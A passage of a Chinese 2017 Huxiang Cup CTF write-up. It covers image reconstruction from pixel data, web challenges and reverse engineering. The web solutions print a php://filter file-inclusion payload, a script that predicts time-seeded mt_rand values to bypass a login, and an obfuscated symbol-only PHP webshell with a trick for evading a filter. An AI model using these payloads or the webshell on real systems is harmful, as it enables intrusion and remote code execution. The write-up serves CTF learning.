108), (303, 138), (303, 162), (303, 296), (303, 342), (303, 420), (303, 430), (304, 131), (304, 141), (304, 293), (304, 403), (304, 420), (304, 430), (305, 109), (305, 137), (305, 290), (305, 342), (305, 419), (305, 429), (306, 107), (306, 135), (306, 206), (306, 300), (306, 405), (306, 423), (306, 476), (307, 128), (307, 161), (307, 299), (307, 417), (307, 427), (308, 103), (308, 127), (308, 162), (308, 298), (308, 417), (308, 427), (309, 103), (309, 128), (309, 207), (309, 399), (309, 422), (309, 476), (310, 120), (310, 130), (310, 284), (310, 377), (310, 419), (310, 429), (311, 105), (311, 127), (311, 284), (311, 400), (311, 424), (311, 479), (312, 121), (312, 161), (312, 294), (312, 416), (312, 426), (313, 102), (313, 119), (313, 160), (313, 282), (313, 384), (313, 417), (313, 427), (314, 103), (314, 121), (314, 277), (314, 386), (314, 398), (314, 424), (314, 479), (315, 114), (315, 160), (315, 345), (315, 390), (315, 418), (315, 428), (316, 102), (316, 117), (316, 272), (316, 345), (316, 388), (316, 417), (316, 427), (317, 100), (317, 110), (317, 159), (317, 343), (317, 391), (317, 422), (317, 477), (318, 104), (318, 114), (318, 185), (318, 284), (318, 347), (318, 416), (318, 426), (319, 97), (319, 107), (319, 159), (319, 265), (319, 343), (319, 391), (319, 422), (319, 478), (320, 103), (320, 113), (320, 187), (320, 265), (320, 344), (320, 372), (320, 419), (320, 475), (321, 100), (321, 110), (321, 185), (321, 264), (321, 371), (321, 418), (321, 428), (322, 99), (322, 109), (322, 192), (322, 343), (322, 389), (322, 419), (322, 475), (323, 100), (323, 156), (323, 193), (323, 262), (323, 374), (323, 386), (323, 416), (323, 426), (324, 97), (324, 107), (324, 207), (324, 341), (324, 379), (324, 389), (324, 420), (324, 476), (325, 102), (325, 180), (325, 250), (325, 343), (325, 382), (325, 392), (325, 420), (325, 476), (326, 101), (326, 181), (326, 248), (326, 340), (326, 382), (326, 392), (326, 420), (326, 476), (327, 101), (327, 182), (327, 215), (327, 235), (327, 245), (327, 340), (327, 380), (327, 391), (327, 419), (327, 475), (328, 101), (328, 195), (328, 217), (328, 229), (328, 239), (328, 337), (328, 391), (328, 420), (328, 476), (329, 157), (329, 213), (329, 228), (329, 240), (329, 392), (329, 422), (329, 478), (330, 179), (330, 222), (330, 232), (330, 337), (330, 380), (330, 418), (330, 428), (331, 156), (331, 223), (331, 299), (331, 378), (331, 394), (331, 424), (331, 480), (332, 197), (332, 296), (332, 306), (332, 316), (332, 326), (332, 349), (332, 379), (332, 395), (332, 425), (333, 153), (333, 198), (333, 296), (333, 306), (333, 316), (333, 326), (333, 336), (333, 374), (333, 384), (333, 417), (333, 427), (334, 155), (334, 291), (334, 309), (334, 319), (334, 329), (334, 351), (334, 379), (334, 389), (334, 425), (335, 153), (335, 214), (335, 336), (335, 369), (335, 385), (335, 422), (335, 478), (336, 180), (336, 291), (336, 356), (336, 381), (336, 420), (336, 476), (337, 178), (337, 291), (337, 336), (337, 361), (337, 371), (337, 392), (337, 425), (338, 153), (338, 216), (338, 361), (338, 371), (338, 418), (338, 428), (339, 155), (339, 309), (339, 363), (339, 390), (339, 419), (339, 475), (340, 155), (340, 291), (340, 309), (340, 363), (340, 391), (340, 418), (340, 428), (341, 154), (341, 291), (341, 361), (341, 395), (341, 422), (341, 477), (342, 177), (342, 297), (342, 382), (342, 421), (342, 476), (343, 176), (343, 293), (343, 360), (343, 390), (343, 422), (343, 477), (344, 178), (344, 296), (344, 388), (344, 423), (344, 478), (345, 200), (345, 362), (345, 387), (345, 421), (345, 476), (346, 177), (346, 362), (346, 384), (346, 417), (346, 427), (347, 153), (347, 220), (347, 369), (347, 385), (347, 417), (347, 427), (347, 480), (348, 220), (348, 377), (348, 393), (348, 424), (348, 477), (349, 201), (349, 371), (349, 395), (349, 426), (349, 480), (350, 223), (350, 373), (350, 418), (350, 428), (350, 482), (351, 343), (351, 376), (351, 424), (351, 478), (352, 176), (352, 369), (352, 418), (352, 428), (352, 482), (353, 174), (353, 345), (353, 397), (353, 426), (353, 480), (353, 493), (354, 224), (354, 376), (354, 424), (354, 478), (354, 488), (355, 176), (355, 370), (355, 422), (355, 476), (355, 486), (356, 172), (356, 347), (356, 397), (356, 425), (356, 479), (356, 489), (356, 499), (357, 226), (357, 365), (357, 399), (357, 426), (357, 480), (357, 490), (357, 500), (358, 206), (358, 365), (358, 419), (358, 429), (358, 482), (359, 174), (359, 361), (359, 396), (359, 424), (359, 477), (359, 489), (360, 231), (360, 361), (360, 394), (360, 422), (360, 475), (360, 489), (361, 207), (361, 359), (361, 395), (361, 423), (361, 476), (362, 171), (362, 266), (362, 378), (362, 423), (362, 477), (363, 172), (363, 266), (363, 397), (363, 425), (363, 478), (364, 171), (364, 233), (364, 418), (364, 428), (364, 500), (365, 231), (365, 396), (365, 424), (365, 474), (366, 171), (366, 373), (366, 419), (366, 429), (366, 479), (367, 173), (367, 375), (367, 418), (367, 428), (367, 476), (368, 172), (368, 374), (368, 419), (368, 429), (368, 477), (369, 210), (369, 384), (369, 394), (369, 422), (369, 469), (369, 479), (370, 210), (370, 372), (370, 388), (370, 417), (370, 427), (370, 469), (370, 479), (371, 238), (371, 389), (371, 422), (371, 432), (371, 467), (371, 477), (372, 211), (372, 347), (372, 374), (372, 422), (372, 432), (372, 442), (372, 452), (372, 465), (372, 475), (373, 348), (373, 418), (373, 428), (373, 438), (373, 448), (373, 458), (373, 468), (373, 478), (374, 345), (374, 397), (374, 426), (374, 436), (374, 446), (374, 456), (374, 466), (374, 476), (375, 396), (375, 425), (375, 435), (375, 445), (375, 455), (375, 465), (375, 475), (376, 371), (376, 423), (376, 433), (376, 443), (376, 453), (376, 463), (376, 473), (377, 368), (377, 421), (377, 431), (377, 441), (377, 451), (377, 461), (377, 471), (378, 368), (378, 423), (378, 433), (378, 443), (378, 453), (378, 463), (378, 473), (379, 368), (379, 423), (379, 433), (379, 443), (379, 453), (379, 463), (379, 473), (380, 367), (380, 423), (380, 433), (380, 443), (380, 453), (380, 463), (380, 473), (381, 366), (381, 423), (381, 433), (381, 443), (381, 453), (381, 463), (381, 473), (382, 366), (382, 423), (382, 433), (382, 443), (382, 453), (382, 463), (382, 473), (383, 365), (383, 424), (383, 434), (383, 444), (383, 454), (383, 464), (383, 474), (384, 364), (384, 423), (384, 433), (384, 443), (384, 453), (384, 463), (384, 473), (385, 364), (385, 424), (385, 434), (385, 444), (385, 454), (385, 464), (385, 474), (386, 363), (386, 423), (386, 433), (386, 443), (386, 453), (386, 463), (386, 473), (387, 360), (387, 420), (387, 430), (387, 440), (387, 450), (387, 460), (387, 470), (388, 74), (388, 420), (388, 430), (388, 440), (388, 450), (388, 460), (388, 470), (389, 73), (389, 420), (389, 430), (389, 440), (389, 450), (389, 460), (389, 470), (390, 71), (390, 396), (390, 424), (390, 434), (390, 444), (390, 454), (390, 464), (390, 474), (391, 357), (391, 421), (391, 431), (391, 441), (391, 451), (391, 461), (391, 471), (392, 70), (392, 418), (392, 428), (392, 438), (392, 448), (392, 458), (392, 468), (392, 478), (393, 395), (393, 423), (393, 433), (393, 443), (393, 453), (393, 463), (393, 473), (394, 69), (394, 419), (394, 429), (394, 439), (394, 449), (394, 459), (394, 469), (395, 66), (395, 420), (395, 430), (395, 440), (395, 450), (395, 460), (395, 470), (396, 395), (396, 423), (396, 433), (396, 443), (396, 453), (396, 463), (396, 473), (397, 397), (397, 425), (397, 435), (397, 445), (397, 455), (397, 465), (397, 475), (398, 417), (398, 427), (398, 437), (398, 447), (398, 457), (398, 467), (398, 477), (399, 417), (399, 427), (399, 437), (399, 447), (399, 457), (399, 467), (399, 477), (400, 417), (400, 427), (400, 437), (400, 447), (400, 457), (400, 467), (400, 477), (401, 416), (401, 426), (401, 436), (401, 446), (401, 456), (401, 466), (401, 476), (402, 416), (402, 426), (402, 436), (402, 446), (402, 456), (402, 466), (402, 476), (403, 417), (403, 427), (403, 437), (403, 447), (403, 457), (403, 467), (403, 477), (404, 415), (404, 425), (404, 435), (404, 445), (404, 455), (404, 465), (404, 475), (405, 417), (405, 427), (405, 437), (405, 447), (405, 457), (405, 467), (405, 477), (406, 419), (406, 429), (406, 439), (406, 449), (406, 459), (406, 469), (406, 479), (407, 420), (407, 430), (407, 440), (407, 450), (407, 460), (407, 470), (408, 395), (408, 422), (408, 432), (408, 442), (408, 452), (408, 462), (408, 472), (409, 396), (409, 423), (409, 433), (409, 443), (409, 453), (409, 463), (409, 473), (410, 396), (410, 423), (410, 433), (410, 443), (410, 453), (410, 463), (410, 473), (411, 326), (411, 420), (411, 430), (411, 440), (411, 450), (411, 460), (411, 470), (412, 325), (412, 419), (412, 429), (412, 439), (412, 449), (412, 459), (412, 469), (412, 479), (413, 417), (413, 427), (413, 437), (413, 447), (413, 457), (413, 467), (413, 477), (414, 396), (414, 423), (414, 433), (414, 443), (414, 453), (414, 463), (414, 473), (415, 326), (415, 419), (415, 429), (415, 439), (415, 449), (415, 459), (415, 469), (415, 479), (416, 415), (416, 425), (416, 435), (416, 445), (416, 455), (416, 465), (416, 475), (417, 329), (417, 419), (417, 429), (417, 439), (417, 449), (417, 459), (417, 469), (417, 479), (418, 397), (418, 423), (418, 433), (418, 443), (418, 453), (418, 463), (418, 473), (419, 329), (419, 418), (419, 428), (419, 438), (419, 448), (419, 458), (419, 468), (419, 478), (420, 415), (420, 425), (420, 435), (420, 445), (420, 455), (420, 465), (420, 475), (421, 354), (421, 420), (421, 430), (421, 440), (421, 450), (421, 460), (421, 470), (422, 114), (422, 415), (422, 425), (422, 435), (422, 445), (422, 455), (422, 465), (422, 475), (423, 351), (423, 420), (423, 430), (423, 440), (423, 450), (423, 460), (423, 470), (424, 114), (424, 415), (424, 425), (424, 435), (424, 445), (424, 455), (424, 465), (424, 475), (425, 396), (425, 422), (425, 432), (425, 442), (425, 452), (425, 462), (425, 472), (426, 334), (426, 418), (426, 428), (426, 438), (426, 448), (426, 458), (426, 468), (426, 478), (427, 414), (427, 424), (427, 434), (427, 444), (427, 454), (427, 464), (427, 474), (428, 347), (428, 419), (428, 429), (428, 439), (428, 449), (428, 459), (428, 469), (429, 113), (429, 416), (429, 426), (429, 436), (429, 446), (429, 456), (429, 466), (429, 476), (430, 395), (430, 421), (430, 431), (430, 441), (430, 451), (430, 461), (430, 471), (431, 335), (431, 414), (431, 424), (431, 434), (431, 444), (431, 454), (431, 464), (431, 474), (432, 342), (432, 418), (432, 428), (432, 438), (432, 448), (432, 458), (432, 468), (432, 478), (433, 342), (433, 419), (433, 429), (433, 439), (433, 449), (433, 459), (433, 469), (434, 112), (434, 396), (434, 422), (434, 432), (434, 442), (434, 452), (434, 462), (434, 472), (435, 339), (435, 416), (435, 426), (435, 436), (435, 446), (435, 456), (435, 466), (435, 476), (436, 395), (436, 421), (436, 431), (436, 441), (436, 451), (436, 461), (436, 471), (437, 340), (437, 419), (437, 429), (437, 439), (437, 449), (437, 459), (437, 469), (438, 112), (438, 418), (438, 428), (438, 438), (438, 448), (438, 458), (438, 468), (438, 478), (439, 416), (439, 426), (439, 436), (439, 446), (439, 456), (439, 466), (439, 476), (440, 414), (440, 424), (440, 434), (440, 444), (440, 454), (440, 464), (440, 474), (441, 122), (441, 419), (441, 429), (441, 439), (441, 449), (441, 459), (441, 469), (441, 479), (442, 395), (442, 422), (442, 432), (442, 442), (442, 452), (442, 462), (442, 472), (442, 482), (443, 396), (443, 423), (443, 433), (443, 443), (443, 453), (443, 463), (443, 473), (443, 483), (444, 394), (444, 421), (444, 431), (444, 441), (444, 451), (444, 461), (444, 471), (444, 481), (444, 491), (445, 416), (445, 426), (445, 436), (445, 446), (445, 456), (445, 466), (445, 476), (445, 489), (446, 120), (446, 419), (446, 429), (446, 439), (446, 449), (446, 459), (446, 469), (446, 479), (447, 116), (447, 416), (447, 426), (447, 436), (447, 446), (447, 456), (447, 466), (447, 476), (447, 493), (448, 395), (448, 422), (448, 432), (448, 442), (448, 452), (448, 462), (448, 472), (448, 482), (449, 115), (449, 419), (449, 429), (449, 439), (449, 449), (449, 459), (449, 469), (449, 479), (449, 496), (450, 419), (450, 429), (450, 439), (450, 449), (450, 459), (450, 469), (450, 487), (450, 500), (451, 420), (451, 430), (451, 440), (451, 450), (451, 460), (451, 470), (451, 489), (451, 499), (452, 418), (452, 428), (452, 438), (452, 448), (452, 458), (452, 468), (452, 478), (452, 502), (453, 419), (453, 429), (453, 439), (453, 449), (453, 459), (453, 469), (453, 494), (454, 395), (454, 421), (454, 431), (454, 441), (454, 451), (454, 461), (454, 471), (454, 500), (455, 417), (455, 427), (455, 437), (455, 447), (455, 457), (455, 467), (455, 477), (456, 415), (456, 425), (456, 435), (456, 445), (456, 455), (456, 465), (456, 475), (457, 413), (457, 423), (457, 433), (457, 443), (457, 453), (457, 463), (457, 473), (458, 414), (458, 424), (458, 434), (458, 444), (458, 454), (458, 464), (458, 474), (459, 416), (459, 426), (459, 436), (459, 446), (459, 456), (459, 466), (459, 476), (460, 418), (460, 428), (460, 438), (460, 448), (460, 458), (460, 468), (461, 413), (461, 423), (461, 433), (461, 443), (461, 453), (461, 463), (461, 473), (462, 419), (462, 429), (462, 439), (462, 449), (462, 459), (462, 469), (463, 417), (463, 427), (463, 437), (463, 447), (463, 457), (463, 467), (464, 416), (464, 426), (464, 436), (464, 446), (464, 456), (465, 413), (465, 423), (465, 433), (465, 443), (465, 453), (466, 419), (466, 429), (466, 439), (466, 449), (467, 417), (467, 427), (467, 437), (468, 394), (468, 421), (468, 431), (468, 441), (469, 418), (469, 428), (469, 438), (470, 418), (470, 428), (471, 414), (471, 424), (472, 414), (472, 424), (473, 419), (474, 415), (475, 415), (477, 396), (478, 415), (480, 396), (481, 414), (483, 394), (484, 395), (485, 396), (485, 414), (486, 401), (486, 411), (487, 398), (487, 408), (488, 395), (488, 405), (488, 415), (489, 405), (490, 403), (492, 396)]

联想到是黑白图片的坐标,出现的位置为 255,否则为 0,使用画图模块绘制散点图

  1. import pickle
  2. from PIL import Image
  3. with open('pixels.jpg.pkl') as f:
  4. data = pickle.loads(f.read().encode('utf8'))
  5. white_pixels = [(int(e[0]), int(e[1])) for e in data[1:]]
  6. width = max([p[0] for p in white_pixels]) + 10
  7. height = max([p[1] for p in white_pixels]) + 10
  8. image = Image.new('1', (width, height), 255)
  9. pixels = image.load()
  10. for pixel in white_pixels:
  11. pixels[pixel[0], pixel[1]] = 0
  12. image.show()

1.jpg

漫画名为 Calvin and Hobbes,作者 billwatterson
flag 就是作者的名字 flag{billwatterson}

GitHub原题在 这里

WEB

web200 文件上传

一开始真的以为是文件上传,后面发现是骗人的,简单的文件包含,扫描发现存在flag.php
[转] 2017湖湘杯 - 图13
payload:

  1. http://118.190.87.135:10080/?op=php://filter/convert.base64-encode/resource=flag

解密得到:

  1. <?php
  2. $flag="flag{c420fb4054e91944a71ff68f7079b9424e5cba21}";
  3. ?>

web150 random

像这样的题,进去没什么提示,首先想到的源代码泄露,然后审计代码绕过一些的。访问.index.php.swp存在,这个是vi编辑器留下的,但是在11点-4点之间这段时间,这个里面根本没有源码,和index一样是乱码。
image.png
源码看到以后,就发现是mt_rand()伪加密,mt_srand()以time()为种子进行播种,mt_rand()生成的内容是依赖于time()的。
思路:用python直接访问页面拿到pwd的值,在time()生成的时间戳变化之前提交上去,就可以绕过第一层if($pwd == $_GET[pwd]),但是这乱码是什么东东?
把源码放在本地,然后去生成、输出pwd 和 session。
image.png
发现还是乱码,那可能pwd就是乱码,ok。写个脚本,让脚本先访问题目地址,处理题目地址返回页面,取出pwd的值,再访问本地页面对比pwd的值,如果相同,则把本地页面生成的pwd、session的值分别作为pwd参数和action参数的值提交上去。
Flag为:you get the flag it is hxb2017{6583be26c1403c25677c03ac7b3d1f22}
image.png
脚本:

  1. import requests,re
  2. #re_pass = re.compile(r'<br>.+||')
  3. url = "http://114.215.138.89:10080/"
  4. while True:
  5. res = requests.get(url)
  6. s = res.content[29:-8]
  7. print s
  8. resloaction=requests.get("http://127.0.0.1/test.php")
  9. list = resloaction.content.split(' ')
  10. params={}
  11. if list[0]==s :
  12. params['login']=list[1]
  13. params['pwd']=s
  14. #params['login']=s
  15. resp = requests.get(url,params=params)
  16. if 'flag' in resp.content :
  17. print resp.content
  18. break;
  19. elif 'Wrong' in resp.content :
  20. print 'Wrong'
  21. elif 'first' in resp.content :
  22. print 'first'
  23. else :
  24. pass

本地页面源码

  1. <?php
  2. function create_password($pw_length = 10){
  3. $randpwd = "";
  4. for ($i = 0; $i < $pw_length; $i++){
  5. $randpwd .= chr(mt_rand(100, 200));
  6. }
  7. return $randpwd;
  8. }
  9. mt_srand(time());
  10. $pwd=create_password();
  11. echo $pwd.' ';
  12. //echo "<br>";
  13. echo create_password(32).rand();

web300

访问看到源码,过滤了很多字符,但是()[]=’+.;这些字符没过滤,题目又提示能getshell。这让我想起了以前在网上看到过的一个符号一句话木马。

  1. <?php
  2. $_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;${'_'.$__}[_](${'_'.$__}[__]);
  3. ?>

但是提交被拦截
因为 + 在url中表示空格,而题目拦截空格。所以要把+ 进行一次URL编码,传入后会自动进行解码:
将符号一句话中的+全部用 %2b 替换
image.png
getflag
image.png

RE

简单的Android

apk文件
解压后用dex2jar把classes.dex转换成jar包
用jd-gui打开,发现代码中直接就包含了flag明文。没安装测试,直接交就过了
image.png

RE100

发现是win,还有upx壳,用3.91版的upx -d解压成功
image.png
解压后直接运行会挂掉,ida打开,main函数就在启动函数上面几个(通过字符串提示发现main函数)
image.png
按f5可以得到如下c代码
image.png
虽然很多函数没有识别,但是不影响这些分析
发现一堆没用的代码,其实关键的就是圈中的代码而已。这里的输入才会影响后面的结果。至于判断条件,if嵌套if,似乎不可能达成这些条件,应该是程序挂掉的原因。所以,直接进入关键函数sub_401080
image.png
明显是按位异或,供44个字符,每个和x22或后等于相应的值就可以,反向计算拿到flag。但是要注意顺序,读取的行数是换了的,而且注意低存低高存高
image.png
本来想用idc脚本把数据抠出来,然后异或就好了。但是出了点问题,会读取出特别大的数字,只能一个一个手动弄出来。按照行的顺序,每一行从右边到左边。然后写python脚本如下:
image.png
执行得到结果
image.png